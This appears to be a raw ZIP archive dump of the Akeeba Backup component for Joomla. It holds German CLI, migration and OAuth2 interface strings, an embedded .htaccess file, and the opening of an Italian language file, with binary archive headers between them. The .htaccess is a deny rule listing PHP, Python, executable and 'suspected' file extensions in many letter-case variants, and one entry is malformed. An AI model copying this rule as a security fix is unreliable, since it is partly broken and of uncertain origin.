COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Listet Akeeba Backup bekannte Protokolldateien auf"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Protokolldateien im Ausgabeverzeichnis dieses Akeeba Backup-Profils werden aufgelistet"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Profil Nr. %s konnte nicht gefunden werden."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Dieser Befehl kann keine mehreren Werte für das partielle Schlüsselpräfix \"%s\" zurückgeben. Bitte geben Sie den genauen Schlüsselnamen an, den Sie abrufen möchten. Verwenden Sie den Befehl akeeba:option:list, um die verfügbaren Schlüssel mit dem Präfix %s zu sehen."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Ungültiger Schlüssel \"%s\"."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> ruft den Wert einer Konfigurationsoption für ein Akeeba Backup-Profil ab.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Ruft den Wert einer Konfigurationsoption für ein Akeeba Backup-Profil ab"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="Der abzurufende Optionsschlüssel"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Ausgabeformat: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="Keine Optionen gefunden, die Ihren Kriterien entsprechen."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> listet die Konfigurationsoptionen für ein Akeeba Backup-Profil auf, einschließlich ihrer Titel.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Listet die Konfigurationsoptionen für ein Akeeba Backup-Profil auf, einschließlich ihrer Titel"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Nur Datensätze zurückgeben, deren Schlüssel mit dem angegebenen Filter beginnen."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Ausgabe nach der angegebenen Spalte sortieren: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Sortierreihenfolge: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Ungültiger Wert '%s': außerhalb des gültigen Bereichs."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Ungültiger boolescher Wert '%s': Verwenden Sie einen der folgenden: 0, false, no, off, 1, true, yes oder on."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Ungültiger Aufzählungswert '%s'. Muss einer der folgenden sein: %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="Das Setzen der versteckten Option '%s' ist nicht erlaubt."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Unbekannter Typ %s für Option '%s'. Haben Sie die JSON-Dateien der Optionen manuell manipuliert?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Die geschützte Option '%s' kann nicht gesetzt werden. Bitte verwenden Sie die Option --force, um den Schutz zu überschreiben."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Option '%s' konnte nicht gesetzt werden."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="Option '%s' erfolgreich auf '%s' gesetzt"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> setzt den Wert einer Konfigurationsoption für ein Akeeba Backup-Profil.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Setzt den Wert einer Konfigurationsoption für ein Akeeba Backup-Profil"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="Der zu setzende Optionsschlüssel"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="Der zu setzende Wert"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Das Setzen des Werts geschützter Optionen erlauben."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Profil %s kann nicht kopiert werden; Profil nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Profil Nr. %s kann nicht kopiert werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Kopieren erfolgreich. Neues Profil mit ID %s erstellt."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> erstellt eine Kopie eines Akeeba Backup-Profils.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Erstellt eine Kopie eines Akeeba Backup-Profils"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="Die numerische ID des zu kopierenden Profils"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Filter in die Kopie einbeziehen."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Beschreibung für das neue Backup-Profil. Verwendet die Beschreibung des alten Profils, wenn nicht angegeben."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Soll das neue Backup-Profil ein Ein-Klick-Backup-Symbol haben? Kopiert die Einstellung des alten Profils, wenn nicht angegeben."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="Das Format für die Antwort. Verwenden Sie JSON, um eine JSON-parsierbare numerische ID des neuen Backup-Profils zu erhalten. Werte: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Profil kann nicht erstellt werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Neues Profil mit ID %s erstellt."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> erstellt ein neues Akeeba Backup-Profil.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Erstellt ein neues Akeeba Backup-Profil"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Beschreibung für das neue Backup-Profil. Standard: \"Neues Backup-Profil\""
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Soll das neue Backup-Profil ein Ein-Klick-Backup-Symbol haben? Standard: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="Das Format für die Antwort. Verwenden Sie JSON, um eine JSON-parsierbare numerische ID des neuen Backup-Profils zu erhalten. Werte: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Neues Backup-Profil"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="Das Standard-Backup-Profil (Nr. 1) kann nicht gelöscht werden"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Profil %s kann nicht gelöscht werden; Profil nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Profil Nr. %s kann nicht gelöscht werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="Profil Nr. %d wurde gelöscht."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> löscht ein Akeeba Backup-Profil.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Ein Akeeba Backup-Profil löschen"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="Die numerische ID des zu löschenden Profils"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Profil %s kann nicht exportiert werden; Profil nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> exportiert ein Akeeba Backup-Profil als JSON-Zeichenkette.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Exportiert ein Akeeba Backup-Profil als JSON-Zeichenkette"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="Die numerische ID des zu ändernden Profils"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Die Filtereinstellungen einbeziehen?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Eingabe kann nicht verarbeitet werden; ungültige JSON-Zeichenkette oder Datei nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Profil kann nicht importiert werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="JSON erfolgreich als Profil Nr. %s importiert"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> importiert ein Akeeba Backup-Profil aus einer JSON-Zeichenkette.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Importiert ein Akeeba Backup-Profil aus einer JSON-Zeichenkette"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Ein Pfad zu einer exportierten Akeeba Backup-Profil-JSON-Datei oder eine literale JSON-Zeichenkette. Verwendet STDIN, wenn weggelassen."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="Das Format für die Antwort. Verwenden Sie json, um eine JSON-parsierbare numerische ID des neuen Backup-Profils zu erhalten. Werte: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> listet die Akeeba Backup-Backup-Profile auf.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Listet die Akeeba Backup-Backup-Profile auf"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Profil %s kann nicht geändert werden; Profil nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Profil Nr. %s kann nicht geändert werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Profil Nr. %s erfolgreich geändert."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> ändert ein Akeeba Backup-Profil.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Ändert ein Akeeba Backup-Profil"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="Die numerische ID des zu ändernden Profils"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Beschreibung für das neue Backup-Profil. Verwendet die Beschreibung des alten Profils, wenn nicht angegeben."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Soll das neue Backup-Profil ein Ein-Klick-Backup-Symbol haben? Kopiert die Einstellung des alten Profils, wenn nicht angegeben."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Profil %s kann nicht geändert werden; Profil nicht gefunden."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Profil Nr. %s kann nicht zurückgesetzt werden: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Profil Nr. %s erfolgreich zurückgesetzt."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> setzt ein Akeeba Backup-Profil zurück.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Setzt ein Akeeba Backup-Profil zurück"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="Die numerische ID des zu ändernden Profils"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Die Filter zurücksetzen?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Die Konfiguration zurücksetzen?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Option \"%s\" konnte nicht gefunden werden."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> ruft den Wert einer komponentenweiten Akeeba Backup-Option ab.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Ruft den Wert einer komponentenweiten Akeeba Backup-Option ab"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="Der abzurufende Optionsschlüssel"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Ausgabeformat: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> listet die komponentenweiten Akeeba Backup-Optionen auf.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Listet die komponentenweiten Akeeba Backup-Optionen auf"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Komponentenoption \"%s\" auf \"%s\" gesetzt"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> setzt den Wert einer komponentenweiten Akeeba Backup-Option.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Setzt den Wert einer komponentenweiten Akeeba Backup-Option"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="Der zu setzende Optionsschlüssel"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="Der zu setzende Optionswert"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Ausgabeformat: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migration von Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migriert die Einstellungen von Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> migriert die Einstellungen und Backup-Archive von Akeeba Backup 8, wenn es installiert ist. WARNUNG: DIES ÜBERSCHREIBT ALLE IHRE AKTUELLEN EINSTELLUNGEN OHNE RÜCKFRAGE. Dieser Befehl ist nur für verantwortungsvolle Erwachsene gedacht.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Akeeba Backup 8 ist nicht auf Ihrer Website installiert."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Ihre Einstellungen von einer älteren Akeeba Backup-Version migrieren"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Wir haben festgestellt, dass Sie eine ältere Version von Akeeba Backup auf Ihrer Website installiert haben. Klicken Sie auf die Schaltfläche unten, um einen automatischen Import Ihrer Einstellungen, Backup-Verlaufs und in dem Standard-Backup-Ausgabeverzeichnis gespeicherten Backup-Archive zu versuchen. Bitte lesen Sie die Dokumentation sorgfältig, um die Risiken und Einschränkungen dieser Operation zu verstehen."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Einstellungen migrieren"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Sie haben Ihre Einstellungen bereits von einer älteren Akeeba Backup-Version migriert"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Sie haben Ihre Einstellungen bereits von einer älteren Version von Akeeba Backup migriert. Wenn Sie die Migration erneut ausführen möchten, klicken Sie auf „Einstellungen migrieren". Wenn Sie mit der Migration zufrieden sind, klicken Sie auf „Was soll ich deinstallieren?", um die Joomla-Seite „Erweiterungen: Verwalten" zur alten Akeeba Backup-Erweiterung zu öffnen; Sie können diese dann auswählen und auf „Deinstallieren" klicken, um sie zu entfernen."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Wenn die Deinstallation der alten Version von Akeeba Backup fehlschlägt, gehen Sie bitte wie folgt vor. Installieren Sie zunächst die neueste Version von Akeeba Backup 8. Installieren Sie dann die neueste Version von Akeeba Backup für Joomla 4. Kommen Sie auf diese Seite zurück und klicken Sie auf „Was soll ich deinstallieren?". Sie werden es problemlos deinstallieren können. Bitte beachten Sie, dass Meldungen, dass FOF oder FEF nicht deinstalliert werden können, ignoriert werden können; Akeeba Backup 8 wird trotz dieser Meldungen deinstalliert."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Was soll ich deinstallieren?"

COM_AKEEBABACKUP_UPGRADE="Einstellungsmigration"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Diese Operation überschreibt alle Ihre vorhandenen Einstellungen und den Backup-Verlauf."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="Migrationsanforderungen sind nicht erfüllt"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="Wir haben keine kompatible Version von Akeeba Backup erkannt. Wenn Sie versuchen, die Migration jetzt durchzuführen, können Fehler und/oder Datenverluste auftreten. Fahren Sie nur fort, wenn Sie ausdrücklich von unseren Entwicklern dazu aufgefordert wurden. Ignorieren Sie diese ernste Warnung auf eigenes Risiko!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Sie haben Ihre Einstellungen bereits migriert"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Sie haben die Migration bereits zuvor ausgeführt. Wenn Sie versuchen, die Migration erneut auszuführen, können Fehler und/oder Datenverluste auftreten. Fahren Sie nur fort, wenn Sie ausdrücklich von unseren Entwicklern dazu aufgefordert wurden. Ignorieren Sie diese ernste Warnung auf eigenes Risiko!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Akeeba Backup für Joomla! importiert Konfigurationseinstellungen, Backup-Profile, Backup-Verlauf und <em>einige</em> der Backup-Archive (die in <code>administrator/components/com_akeeba/backup</code>) von einer älteren Version von Akeeba Backup (7.x oder 8.x), die bereits auf Ihrer Website installiert ist, und überschreibt dabei alle vorhandenen Daten. Sie sollten diese Funktion nur beim allerersten Mal verwenden, wenn Sie Akeeba Backup für Joomla! installieren, um Datenverluste zu vermeiden."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Denken Sie daran, die alte Version von Akeeba Backup nach Abschluss der Migration zu deinstallieren. Verwenden Sie das Joomla-Seitenleistmenüelement „System". Suchen Sie den Bereich „Verwalten" und klicken Sie auf „Erweiterungen". Suchen und wählen Sie die Erweiterung <em>Akeeba Backup-Paket</em> vom Typ „Paket". Klicken Sie dann auf die Schaltfläche „Deinstallieren" in der Werkzeugleiste."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Mit der Migration fortfahren"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="Die Einstellungsmigration wurde erfolgreich abgeschlossen."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="Die Einstellungsmigration konnte nicht abgeschlossen werden. Möglicherweise müssen Sie Ihre Backup-Profile manuell importieren und/oder Backup-Archive übertragen und importieren."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="In Microsoft OneDrive hochladen (App-spezifischer Ordner)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Lädt das Backup-Archiv in Microsoft OneDrive, in den App-spezifischen Ordner für Akeeba Backup (<code>Apps/Akeeba Backup</code>). Dies ist einschränkender als die anderen OneDrive-Upload-Optionen, verursacht aber bei einigen Konten, die bei der anderen Integration, die wir anbieten, Authentifizierungsprobleme haben, weniger Probleme."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Unterverzeichnis in <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="Das Unterverzeichnis innerhalb des App-spezifischen Akeeba Backup-Ordners (<code>Apps/Akeeba Backup</code>) in Ihrem Microsoft OneDrive-Laufwerk, in das Backup-Archive hochgeladen werden. Bitte verwenden Sie Schrägstriche (<code>/</code>), keine Backslashes (<code>\\<code>), und stellen Sie immer einen Schrägstrich voran. Richtig: <code>/some/thing</code>. Falsch: <code>some\\thing</code>. Ein einzelner Schrägstrich bedeutet, dass Archive im Stammverzeichnis des Laufwerks gespeichert werden. Schließen Sie NICHT den Pfad zum App-spezifischen Ordner (<code>Apps/Akeeba Backup</code>) ein; dieser wird automatisch von Microsoft OneDrive selbst hinzugefügt!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="OAuth2-Helfer"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Nur für die Professional-Version. Ermöglicht es Ihnen, eine benutzerdefinierte OAuth2-Helfer-URL anstelle der von Akeeba Ltd bereitgestellten zu verwenden. Bitte lesen Sie die Dokumentation."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="OAuth2-Helfer für Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Verwenden Sie Box.com mit Ihrer eigenen OAuth2-API-Anwendung anstelle der von Akeeba Ltd bereitgestellten. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="Client-ID"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="Die Client-ID, die Sie von Box.com für Ihre API-Anwendung erhalten."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Client-Geheimnis"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="Das Client-Geheimnis, das Sie von Box.com für Ihre API-Anwendung erhalten."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="OAuth2-Helfer für Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Verwenden Sie Dropbox mit Ihrer eigenen OAuth2-API-Anwendung anstelle der von Akeeba Ltd bereitgestellten. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="Client-ID"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="Die Client-ID, die Sie von Dropbox für Ihre API-Anwendung erhalten."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Client-Geheimnis"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="Das Client-Geheimnis, das Sie von Dropbox für Ihre API-Anwendung erhalten."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="OAuth2-Helfer für Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Verwenden Sie Google Drive mit Ihrer eigenen OAuth2-API-Anwendung anstelle der von Akeeba Ltd bereitgestellten. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="Client-ID"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="Die Client-ID, die Sie von der Google Cloud Console für Ihre API-Anwendung erhalten."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Client-Geheimnis"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="Das Client-Geheimnis, das Sie von der Google Cloud Console für Ihre API-Anwendung erhalten."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="OAuth2-Helfer für OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Verwenden Sie OneDrive mit Ihrer eigenen OAuth2-API-Anwendung anstelle der von Akeeba Ltd bereitgestellten. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="Client-ID"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="Die Client-ID, die Sie von OneDrive für Ihre API-Anwendung erhalten."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Client-Geheimnis"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="Das Client-Geheimnis, das Sie von OneDrive für Ihre API-Anwendung erhalten."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Sie benötigen die folgenden URLs."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="Rückruf-URL"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="OAuth2-Helfer-URL"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="OAuth2-Aktualisierungs-URL"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="OAuth2-Helfer"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Wählen Sie, welchen Satz von OAuth2-Helfer-URLs verwendet werden soll. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Von Akeeba Ltd bereitgestellt"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Benutzerdefiniert"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="OAuth2-Helfer-URL"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="Die vollständige URL zum OAuth2-Authentifizierungshelfer. Bitte lesen Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="OAuth2-Aktualisierungs-URL"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="Die vollständige URL zum OAuth2-Aktualisierungstoken-Helfer. Bitte lesen Sie die Dokumentation."
PK     \Sʉ        language/de-DE/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \u     '  language/it-IT/com_akeebabackup.sys.ininu [        ;; Descrizione del pacchetto di installazione
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="Il componente di backup per Joomla!&trade; più popolare"

;; Permessi
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Backup"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Consente di eseguire backup con Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Configura"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Consente di configurare i profili di Akeeba Backup e di utilizzare il ripristino integrato (se disponibile)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Scarica"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Consente di scaricare, caricare e gestire gli archivi di Akeeba Backup, nonché di utilizzare la Procedura guidata trasferimento sito (se disponibile)."

;; Voci di menu
;; ================================================================================
;; Per il gestore menu di amministrazione che utilizza l'attributo name del manifest XML
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Per la voce di menu predefinita
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Sottomenu predefiniti
COM_AKEEBABACKUP_CONTROLPANEL="Pannello di controllo"
COM_AKEEBABACKUP_CONFIGURATION="Configurazione profilo"
COM_AKEEBABACKUP_BACKUP="Esegui backup ora"
COM_AKEEBABACKUP_MANAGE="Gestisci backup"

;; Campi del modulo personalizzati
;; ================================================================================
